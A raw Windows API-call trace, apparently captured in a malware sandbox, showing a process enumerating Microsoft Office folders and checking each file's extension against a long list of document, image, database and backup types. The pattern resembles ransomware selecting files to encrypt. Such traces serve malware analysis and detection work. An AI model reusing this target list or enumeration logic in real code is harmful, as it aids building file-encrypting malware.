[0090.960] lstrcmpiW (lpString1=".asm", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".asmx") returned 5 [0090.960] lstrcmpiW (lpString1=".asmx", lpString2="2.ACC") returned -1 [0090.960] lstrlenW (lpString=".asp") returned 4 [0090.960] lstrcmpiW (lpString1=".asp", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".aspx") returned 5 [0090.960] lstrcmpiW (lpString1=".aspx", lpString2="2.ACC") returned -1 [0090.960] lstrlenW (lpString=".asr") returned 4 [0090.960] lstrcmpiW (lpString1=".asr", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".asx") returned 4 [0090.960] lstrcmpiW (lpString1=".asx", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".avi") returned 4 [0090.960] lstrcmpiW (lpString1=".avi", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".avs") returned 4 [0090.960] lstrcmpiW (lpString1=".avs", lpString2=".ACC") returned 1 [0090.960] lstrlenW (lpString=".backup") returned 7 [0090.961] lstrcmpiW (lpString1=".backup", lpString2="S12.ACC") returned -1 [0090.961] lstrlenW (lpString=".bak") returned 4 [0090.961] lstrcmpiW (lpString1=".bak", lpString2=".ACC") returned 1 [0090.961] lstrlenW (lpString=".bay") returned 4 [0090.961] lstrcmpiW (lpString1=".bay", lpString2=".ACC") returned 1 [0090.961] lstrlenW (lpString=".bd") returned 3 [0090.961] lstrcmpiW (lpString1=".bd", lpString2="ACC") returned -1 [0090.961] lstrlenW (lpString=".bin") returned 4 [0090.961] lstrcmpiW (lpString1=".bin", lpString2=".ACC") returned 1 [0090.961] lstrlenW (lpString=".bmp") returned 4 [0090.961] lstrcmpiW (lpString1=".bmp", lpString2=".ACC") returned 1 [0090.962] lstrlenW (lpString=".bz2") returned 4 [0090.962] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0090.962] lstrlenW (lpString=".c") returned 2 [0090.962] lstrcmpiW (lpString1=".c", lpString2="CC") returned -1 [0090.962] lstrlenW (lpString=".cdr") returned 4 [0090.962] lstrcmpiW (lpString1=".cdr", lpString2=".ACC") returned 1 [0090.962] lstrlenW (lpString=".cer") returned 4 [0090.962] lstrcmpiW (lpString1=".cer", lpString2=".ACC") returned 1 [0090.962] lstrlenW (lpString=".cf") returned 3 [0090.962] lstrcmpiW (lpString1=".cf", lpString2="ACC") returned -1 [0090.962] lstrlenW (lpString=".cfc") returned 4 [0090.962] lstrcmpiW (lpString1=".cfc", lpString2=".ACC") returned 1 [0090.962] lstrlenW (lpString=".cfm") returned 4 [0090.963] lstrcmpiW (lpString1=".cfm", lpString2=".ACC") returned 1 [0090.963] lstrlenW (lpString=".cfml") returned 5 [0090.963] lstrcmpiW (lpString1=".cfml", lpString2="2.ACC") returned -1 [0090.963] lstrlenW (lpString=".cfu") returned 4 [0090.963] lstrcmpiW (lpString1=".cfu", lpString2=".ACC") returned 1 [0090.963] lstrlenW (lpString=".chm") returned 4 [0090.963] lstrcmpiW (lpString1=".chm", lpString2=".ACC") returned 1 [0090.963] lstrlenW (lpString=".cin") returned 4 [0090.963] lstrcmpiW (lpString1=".cin", lpString2=".ACC") returned 1 [0090.963] lstrlenW (lpString=".class") returned 6 [0090.963] lstrcmpiW (lpString1=".class", lpString2="12.ACC") returned -1 [0090.964] lstrlenW (lpString=".clx") returned 4 [0090.964] lstrcmpiW (lpString1=".clx", lpString2=".ACC") returned 1 [0090.964] lstrlenW (lpString=".config") returned 7 [0090.964] lstrcmpiW (lpString1=".config", lpString2="S12.ACC") returned -1 [0090.964] lstrlenW (lpString=".cpp") returned 4 [0090.964] lstrcmpiW (lpString1=".cpp", lpString2=".ACC") returned 1 [0090.964] lstrlenW (lpString=".cr2") returned 4 [0090.964] lstrcmpiW (lpString1=".cr2", lpString2=".ACC") returned 1 [0090.964] lstrlenW (lpString=".crt") returned 4 [0090.964] lstrcmpiW (lpString1=".crt", lpString2=".ACC") returned 1 [0090.964] lstrlenW (lpString=".crw") returned 4 [0090.964] lstrcmpiW (lpString1=".crw", lpString2=".ACC") returned 1 [0090.964] lstrlenW (lpString=".cs") returned 3 [0090.964] lstrcmpiW (lpString1=".cs", lpString2="ACC") returned -1 [0090.965] lstrlenW (lpString=".css") returned 4 [0090.965] lstrcmpiW (lpString1=".css", lpString2=".ACC") returned 1 [0090.965] lstrlenW (lpString=".csv") returned 4 [0090.965] lstrcmpiW (lpString1=".csv", lpString2=".ACC") returned 1 [0090.965] lstrlenW (lpString=".cub") returned 4 [0090.965] lstrcmpiW (lpString1=".cub", lpString2=".ACC") returned 1 [0090.965] lstrlenW (lpString=".dae") returned 4 [0090.965] lstrcmpiW (lpString1=".dae", lpString2=".ACC") returned 1 [0090.965] lstrlenW (lpString=".dat") returned 4 [0090.965] lstrcmpiW (lpString1=".dat", lpString2=".ACC") returned 1 [0090.965] lstrlenW (lpString=".db") returned 3 [0090.966] lstrcmpiW (lpString1=".db", lpString2="ACC") returned -1 [0090.966] lstrlenW (lpString=".dbf") returned 4 [0090.966] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0090.966] lstrlenW (lpString=".dbx") returned 4 [0090.966] lstrcmpiW (lpString1=".dbx", lpString2=".ACC") returned 1 [0090.966] lstrlenW (lpString=".dc3") returned 4 [0090.966] lstrcmpiW (lpString1=".dc3", lpString2=".ACC") returned 1 [0090.966] lstrlenW (lpString=".dcm") returned 4 [0090.966] lstrcmpiW (lpString1=".dcm", lpString2=".ACC") returned 1 [0090.966] lstrlenW (lpString=".dcr") returned 4 [0090.966] lstrcmpiW (lpString1=".dcr", lpString2=".ACC") returned 1 [0090.966] lstrlenW (lpString=".der") returned 4 [0090.966] lstrcmpiW (lpString1=".der", lpString2=".ACC") returned 1 [0090.967] lstrlenW (lpString=".dib") returned 4 [0090.967] lstrcmpiW (lpString1=".dib", lpString2=".ACC") returned 1 [0090.967] lstrlenW (lpString=".dic") returned 4 [0090.967] lstrcmpiW (lpString1=".dic", lpString2=".ACC") returned 1 [0090.967] lstrlenW (lpString=".dif") returned 4 [0090.967] lstrcmpiW (lpString1=".dif", lpString2=".ACC") returned 1 [0090.967] lstrlenW (lpString=".divx") returned 5 [0090.967] lstrcmpiW (lpString1=".divx", lpString2="2.ACC") returned -1 [0090.967] lstrlenW (lpString=".djvu") returned 5 [0090.967] lstrcmpiW (lpString1=".djvu", lpString2="2.ACC") returned -1 [0090.967] lstrlenW (lpString=".dng") returned 4 [0090.968] lstrcmpiW (lpString1=".dng", lpString2=".ACC") returned 1 [0090.968] lstrlenW (lpString=".doc") returned 4 [0090.968] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0090.968] lstrlenW (lpString=".docm") returned 5 [0090.968] lstrcmpiW (lpString1=".docm", lpString2="2.ACC") returned -1 [0090.968] lstrlenW (lpString=".docx") returned 5 [0090.968] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0090.968] lstrlenW (lpString=".dot") returned 4 [0090.968] lstrcmpiW (lpString1=".dot", lpString2=".ACC") returned 1 [0090.968] lstrlenW (lpString=".dotm") returned 5 [0090.968] lstrcmpiW (lpString1=".dotm", lpString2="2.ACC") returned -1 [0090.969] lstrlenW (lpString=".dotx") returned 5 [0090.969] lstrcmpiW (lpString1=".dotx", lpString2="2.ACC") returned -1 [0090.969] lstrlenW (lpString=".dpx") returned 4 [0090.969] lstrcmpiW (lpString1=".dpx", lpString2=".ACC") returned 1 [0090.969] lstrlenW (lpString=".dqy") returned 4 [0090.969] lstrcmpiW (lpString1=".dqy", lpString2=".ACC") returned 1 [0090.969] lstrlenW (lpString=".dsn") returned 4 [0090.969] lstrcmpiW (lpString1=".dsn", lpString2=".ACC") returned 1 [0090.969] lstrlenW (lpString=".dt") returned 3 [0090.969] lstrcmpiW (lpString1=".dt", lpString2="ACC") returned -1 [0090.969] lstrlenW (lpString=".dtd") returned 4 [0090.969] lstrcmpiW (lpString1=".dtd", lpString2=".ACC") returned 1 [0090.969] lstrlenW (lpString=".dwg") returned 4 [0090.969] lstrcmpiW (lpString1=".dwg", lpString2=".ACC") returned 1 [0090.970] lstrlenW (lpString=".dwt") returned 4 [0090.970] lstrcmpiW (lpString1=".dwt", lpString2=".ACC") returned 1 [0090.970] lstrlenW (lpString=".dx") returned 3 [0090.970] lstrcmpiW (lpString1=".dx", lpString2="ACC") returned -1 [0090.970] lstrlenW (lpString=".dxf") returned 4 [0090.970] lstrcmpiW (lpString1=".dxf", lpString2=".ACC") returned 1 [0090.970] lstrlenW (lpString=".edml") returned 5 [0090.970] lstrcmpiW (lpString1=".edml", lpString2="2.ACC") returned -1 [0090.970] lstrlenW (lpString=".efd") returned 4 [0090.970] lstrcmpiW (lpString1=".efd", lpString2=".ACC") returned 1 [0090.970] lstrlenW (lpString=".elf") returned 4 [0090.971] lstrcmpiW (lpString1=".elf", lpString2=".ACC") returned 1 [0090.971] lstrlenW (lpString=".emf") returned 4 [0090.971] lstrcmpiW (lpString1=".emf", lpString2=".ACC") returned 1 [0090.971] lstrlenW (lpString=".emz") returned 4 [0090.971] lstrcmpiW (lpString1=".emz", lpString2=".ACC") returned 1 [0090.971] lstrlenW (lpString=".epf") returned 4 [0090.971] lstrcmpiW (lpString1=".epf", lpString2=".ACC") returned 1 [0090.971] lstrlenW (lpString=".eps") returned 4 [0090.972] lstrcmpiW (lpString1=".eps", lpString2=".ACC") returned 1 [0090.972] lstrlenW (lpString=".epsf") returned 5 [0090.972] lstrcmpiW (lpString1=".epsf", lpString2="2.ACC") returned -1 [0090.972] lstrlenW (lpString=".epsp") returned 5 [0090.972] lstrcmpiW (lpString1=".epsp", lpString2="2.ACC") returned -1 [0090.972] lstrlenW (lpString=".erf") returned 4 [0090.972] lstrcmpiW (lpString1=".erf", lpString2=".ACC") returned 1 [0090.972] lstrlenW (lpString=".exr") returned 4 [0090.972] lstrcmpiW (lpString1=".exr", lpString2=".ACC") returned 1 [0090.972] lstrlenW (lpString=".f4v") returned 4 [0090.972] lstrcmpiW (lpString1=".f4v", lpString2=".ACC") returned 1 [0090.972] lstrlenW (lpString=".fido") returned 5 [0090.972] lstrcmpiW (lpString1=".fido", lpString2="2.ACC") returned -1 [0090.973] lstrlenW (lpString=".flm") returned 4 [0090.973] lstrcmpiW (lpString1=".flm", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".flv") returned 4 [0090.973] lstrcmpiW (lpString1=".flv", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".frm") returned 4 [0090.973] lstrcmpiW (lpString1=".frm", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".fxg") returned 4 [0090.973] lstrcmpiW (lpString1=".fxg", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".geo") returned 4 [0090.973] lstrcmpiW (lpString1=".geo", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".gif") returned 4 [0090.973] lstrcmpiW (lpString1=".gif", lpString2=".ACC") returned 1 [0090.973] lstrlenW (lpString=".grs") returned 4 [0090.974] lstrcmpiW (lpString1=".grs", lpString2=".ACC") returned 1 [0090.974] lstrlenW (lpString=".gz") returned 3 [0090.974] lstrcmpiW (lpString1=".gz", lpString2="ACC") returned -1 [0090.974] lstrlenW (lpString=".h") returned 2 [0090.974] lstrcmpiW (lpString1=".h", lpString2="CC") returned -1 [0090.974] lstrlenW (lpString=".hdr") returned 4 [0090.974] lstrcmpiW (lpString1=".hdr", lpString2=".ACC") returned 1 [0090.974] lstrlenW (lpString=".hpp") returned 4 [0090.974] lstrcmpiW (lpString1=".hpp", lpString2=".ACC") returned 1 [0090.974] lstrlenW (lpString=".hta") returned 4 [0090.974] lstrcmpiW (lpString1=".hta", lpString2=".ACC") returned 1 [0090.974] lstrlenW (lpString=".htc") returned 4 [0090.974] lstrcmpiW (lpString1=".htc", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".htm") returned 4 [0090.975] lstrcmpiW (lpString1=".htm", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".html") returned 5 [0090.975] lstrcmpiW (lpString1=".html", lpString2="2.ACC") returned -1 [0090.975] lstrlenW (lpString=".icb") returned 4 [0090.975] lstrcmpiW (lpString1=".icb", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".ics") returned 4 [0090.975] lstrcmpiW (lpString1=".ics", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".iff") returned 4 [0090.975] lstrcmpiW (lpString1=".iff", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".inc") returned 4 [0090.975] lstrcmpiW (lpString1=".inc", lpString2=".ACC") returned 1 [0090.975] lstrlenW (lpString=".indd") returned 5 [0090.975] lstrcmpiW (lpString1=".indd", lpString2="2.ACC") returned -1 [0090.975] lstrlenW (lpString=".ini") returned 4 [0090.975] lstrcmpiW (lpString1=".ini", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".iqy") returned 4 [0090.976] lstrcmpiW (lpString1=".iqy", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".j2c") returned 4 [0090.976] lstrcmpiW (lpString1=".j2c", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".j2k") returned 4 [0090.976] lstrcmpiW (lpString1=".j2k", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".java") returned 5 [0090.976] lstrcmpiW (lpString1=".java", lpString2="2.ACC") returned -1 [0090.976] lstrlenW (lpString=".jp2") returned 4 [0090.976] lstrcmpiW (lpString1=".jp2", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".jpc") returned 4 [0090.976] lstrcmpiW (lpString1=".jpc", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".jpe") returned 4 [0090.976] lstrcmpiW (lpString1=".jpe", lpString2=".ACC") returned 1 [0090.976] lstrlenW (lpString=".jpeg") returned 5 [0090.976] lstrcmpiW (lpString1=".jpeg", lpString2="2.ACC") returned -1 [0090.976] lstrlenW (lpString=".jpf") returned 4 [0090.977] lstrcmpiW (lpString1=".jpf", lpString2=".ACC") returned 1 [0090.977] lstrlenW (lpString=".jpg") returned 4 [0090.977] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0090.977] lstrlenW (lpString=".jpx") returned 4 [0090.977] lstrcmpiW (lpString1=".jpx", lpString2=".ACC") returned 1 [0090.977] lstrlenW (lpString=".js") returned 3 [0090.977] lstrcmpiW (lpString1=".js", lpString2="ACC") returned -1 [0090.977] lstrlenW (lpString=".jsf") returned 4 [0090.977] lstrcmpiW (lpString1=".jsf", lpString2=".ACC") returned 1 [0090.977] lstrlenW (lpString=".json") returned 5 [0090.977] lstrcmpiW (lpString1=".json", lpString2="2.ACC") returned -1 [0090.977] lstrlenW (lpString=".jsp") returned 4 [0090.977] lstrcmpiW (lpString1=".jsp", lpString2=".ACC") returned 1 [0090.977] lstrlenW (lpString=".kdc") returned 4 [0090.977] lstrcmpiW (lpString1=".kdc", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".kmz") returned 4 [0090.978] lstrcmpiW (lpString1=".kmz", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".kwm") returned 4 [0090.978] lstrcmpiW (lpString1=".kwm", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".lasso") returned 6 [0090.978] lstrcmpiW (lpString1=".lasso", lpString2="12.ACC") returned -1 [0090.978] lstrlenW (lpString=".lbi") returned 4 [0090.978] lstrcmpiW (lpString1=".lbi", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".lgf") returned 4 [0090.978] lstrcmpiW (lpString1=".lgf", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".lgp") returned 4 [0090.978] lstrcmpiW (lpString1=".lgp", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".log") returned 4 [0090.978] lstrcmpiW (lpString1=".log", lpString2=".ACC") returned 1 [0090.978] lstrlenW (lpString=".m1v") returned 4 [0090.979] lstrcmpiW (lpString1=".m1v", lpString2=".ACC") returned 1 [0090.979] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0090.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f10068 [0090.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974270 [0091.112] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.112] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0091.112] FindClose (in: hFindFile=0x3974270 | out: hFindFile=0x3974270) returned 1 [0091.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f10068 | out: hHeap=0x5b0000) returned 1 [0091.113] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0091.113] lstrlenW (lpString="BSTORM.VSL") returned 10 [0091.113] lstrlenW (lpString=".1cd") returned 4 [0091.113] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0091.113] lstrlenW (lpString=".3ds") returned 4 [0091.113] lstrcmpiW (lpString1=".3ds", lpString2=".VSL") returned -1 [0091.113] lstrlenW (lpString=".3fr") returned 4 [0091.113] lstrcmpiW (lpString1=".3fr", lpString2=".VSL") returned -1 [0091.113] lstrlenW (lpString=".3g2") returned 4 [0091.113] lstrcmpiW (lpString1=".3g2", lpString2=".VSL") returned -1 [0091.113] lstrlenW (lpString=".3gp") returned 4 [0091.113] lstrcmpiW (lpString1=".3gp", lpString2=".VSL") returned -1 [0091.113] lstrlenW (lpString=".7z") returned 3 [0091.113] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0091.113] lstrlenW (lpString=".accda") returned 6 [0091.114] lstrcmpiW (lpString1=".accda", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".accdb") returned 6 [0091.114] lstrcmpiW (lpString1=".accdb", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".accdc") returned 6 [0091.114] lstrcmpiW (lpString1=".accdc", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".accde") returned 6 [0091.114] lstrcmpiW (lpString1=".accde", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".accdt") returned 6 [0091.114] lstrcmpiW (lpString1=".accdt", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".accdw") returned 6 [0091.114] lstrcmpiW (lpString1=".accdw", lpString2="RM.VSL") returned -1 [0091.114] lstrlenW (lpString=".adb") returned 4 [0091.114] lstrcmpiW (lpString1=".adb", lpString2=".VSL") returned -1 [0091.114] lstrlenW (lpString=".adp") returned 4 [0091.114] lstrcmpiW (lpString1=".adp", lpString2=".VSL") returned -1 [0091.114] lstrlenW (lpString=".ai") returned 3 [0091.114] lstrcmpiW (lpString1=".ai", lpString2="VSL") returned -1 [0091.114] lstrlenW (lpString=".ai3") returned 4 [0091.114] lstrcmpiW (lpString1=".ai3", lpString2=".VSL") returned -1 [0091.114] lstrlenW (lpString=".ai4") returned 4 [0091.114] lstrcmpiW (lpString1=".ai4", lpString2=".VSL") returned -1 [0091.114] lstrlenW (lpString=".ai5") returned 4 [0091.114] lstrcmpiW (lpString1=".ai5", lpString2=".VSL") returned -1 [0091.114] lstrlenW (lpString=".ai6") returned 4 [0091.115] lstrcmpiW (lpString1=".ai6", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".ai7") returned 4 [0091.115] lstrcmpiW (lpString1=".ai7", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".ai8") returned 4 [0091.115] lstrcmpiW (lpString1=".ai8", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".anim") returned 5 [0091.115] lstrcmpiW (lpString1=".anim", lpString2="M.VSL") returned -1 [0091.115] lstrlenW (lpString=".arw") returned 4 [0091.115] lstrcmpiW (lpString1=".arw", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".as") returned 3 [0091.115] lstrcmpiW (lpString1=".as", lpString2="VSL") returned -1 [0091.115] lstrlenW (lpString=".asa") returned 4 [0091.115] lstrcmpiW (lpString1=".asa", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".asc") returned 4 [0091.115] lstrcmpiW (lpString1=".asc", lpString2=".VSL") returned -1 [0091.115] lstrlenW (lpString=".ascx") returned 5 [0091.115] lstrcmpiW (lpString1=".ascx", lpString2="M.VSL") returned -1 [0091.115] lstrlenW (lpString=".asm") returned 4 [0091.115] lstrcmpiW (lpString1=".asm", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".asmx") returned 5 [0091.116] lstrcmpiW (lpString1=".asmx", lpString2="M.VSL") returned -1 [0091.116] lstrlenW (lpString=".asp") returned 4 [0091.116] lstrcmpiW (lpString1=".asp", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".aspx") returned 5 [0091.116] lstrcmpiW (lpString1=".aspx", lpString2="M.VSL") returned -1 [0091.116] lstrlenW (lpString=".asr") returned 4 [0091.116] lstrcmpiW (lpString1=".asr", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".asx") returned 4 [0091.116] lstrcmpiW (lpString1=".asx", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".avi") returned 4 [0091.116] lstrcmpiW (lpString1=".avi", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".avs") returned 4 [0091.116] lstrcmpiW (lpString1=".avs", lpString2=".VSL") returned -1 [0091.116] lstrlenW (lpString=".backup") returned 7 [0091.116] lstrcmpiW (lpString1=".backup", lpString2="ORM.VSL") returned -1 [0091.116] lstrlenW (lpString=".bak") returned 4 [0091.117] lstrcmpiW (lpString1=".bak", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".bay") returned 4 [0091.117] lstrcmpiW (lpString1=".bay", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".bd") returned 3 [0091.117] lstrcmpiW (lpString1=".bd", lpString2="VSL") returned -1 [0091.117] lstrlenW (lpString=".bin") returned 4 [0091.117] lstrcmpiW (lpString1=".bin", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".bmp") returned 4 [0091.117] lstrcmpiW (lpString1=".bmp", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".bz2") returned 4 [0091.117] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".c") returned 2 [0091.117] lstrcmpiW (lpString1=".c", lpString2="SL") returned -1 [0091.117] lstrlenW (lpString=".cdr") returned 4 [0091.117] lstrcmpiW (lpString1=".cdr", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".cer") returned 4 [0091.117] lstrcmpiW (lpString1=".cer", lpString2=".VSL") returned -1 [0091.117] lstrlenW (lpString=".cf") returned 3 [0091.117] lstrcmpiW (lpString1=".cf", lpString2="VSL") returned -1 [0091.117] lstrlenW (lpString=".cfc") returned 4 [0091.118] lstrcmpiW (lpString1=".cfc", lpString2=".VSL") returned -1 [0091.118] lstrlenW (lpString=".cfm") returned 4 [0091.118] lstrcmpiW (lpString1=".cfm", lpString2=".VSL") returned -1 [0091.118] lstrlenW (lpString=".cfml") returned 5 [0091.118] lstrcmpiW (lpString1=".cfml", lpString2="M.VSL") returned -1 [0091.118] lstrlenW (lpString=".cfu") returned 4 [0091.118] lstrcmpiW (lpString1=".cfu", lpString2=".VSL") returned -1 [0091.118] lstrlenW (lpString=".chm") returned 4 [0091.118] lstrcmpiW (lpString1=".chm", lpString2=".VSL") returned -1 [0091.118] lstrlenW (lpString=".cin") returned 4 [0091.118] lstrcmpiW (lpString1=".cin", lpString2=".VSL") returned -1 [0091.118] lstrlenW (lpString=".class") returned 6 [0091.119] lstrcmpiW (lpString1=".class", lpString2="RM.VSL") returned -1 [0091.119] lstrlenW (lpString=".clx") returned 4 [0091.119] lstrcmpiW (lpString1=".clx", lpString2=".VSL") returned -1 [0091.119] lstrlenW (lpString=".config") returned 7 [0091.119] lstrcmpiW (lpString1=".config", lpString2="ORM.VSL") returned -1 [0091.119] lstrlenW (lpString=".cpp") returned 4 [0091.119] lstrcmpiW (lpString1=".cpp", lpString2=".VSL") returned -1 [0091.119] lstrlenW (lpString=".cr2") returned 4 [0091.119] lstrcmpiW (lpString1=".cr2", lpString2=".VSL") returned -1 [0091.119] lstrlenW (lpString=".crt") returned 4 [0091.119] lstrcmpiW (lpString1=".crt", lpString2=".VSL") returned -1 [0091.119] lstrlenW (lpString=".crw") returned 4 [0091.119] lstrcmpiW (lpString1=".crw", lpString2=".VSL") returned -1 [0091.119] lstrlenW (lpString=".cs") returned 3 [0091.119] lstrcmpiW (lpString1=".cs", lpString2="VSL") returned -1 [0091.119] lstrlenW (lpString=".css") returned 4 [0091.120] lstrcmpiW (lpString1=".css", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".csv") returned 4 [0091.120] lstrcmpiW (lpString1=".csv", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".cub") returned 4 [0091.120] lstrcmpiW (lpString1=".cub", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dae") returned 4 [0091.120] lstrcmpiW (lpString1=".dae", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dat") returned 4 [0091.120] lstrcmpiW (lpString1=".dat", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".db") returned 3 [0091.120] lstrcmpiW (lpString1=".db", lpString2="VSL") returned -1 [0091.120] lstrlenW (lpString=".dbf") returned 4 [0091.120] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dbx") returned 4 [0091.120] lstrcmpiW (lpString1=".dbx", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dc3") returned 4 [0091.120] lstrcmpiW (lpString1=".dc3", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dcm") returned 4 [0091.120] lstrcmpiW (lpString1=".dcm", lpString2=".VSL") returned -1 [0091.120] lstrlenW (lpString=".dcr") returned 4 [0091.121] lstrcmpiW (lpString1=".dcr", lpString2=".VSL") returned -1 [0091.121] lstrlenW (lpString=".der") returned 4 [0091.121] lstrcmpiW (lpString1=".der", lpString2=".VSL") returned -1 [0091.121] lstrlenW (lpString=".dib") returned 4 [0091.121] lstrcmpiW (lpString1=".dib", lpString2=".VSL") returned -1 [0091.121] lstrlenW (lpString=".dic") returned 4 [0091.121] lstrcmpiW (lpString1=".dic", lpString2=".VSL") returned -1 [0091.121] lstrlenW (lpString=".dif") returned 4 [0091.121] lstrcmpiW (lpString1=".dif", lpString2=".VSL") returned -1 [0091.121] lstrlenW (lpString=".divx") returned 5 [0091.121] lstrcmpiW (lpString1=".divx", lpString2="M.VSL") returned -1 [0091.121] lstrlenW (lpString=".djvu") returned 5 [0091.121] lstrcmpiW (lpString1=".djvu", lpString2="M.VSL") returned -1 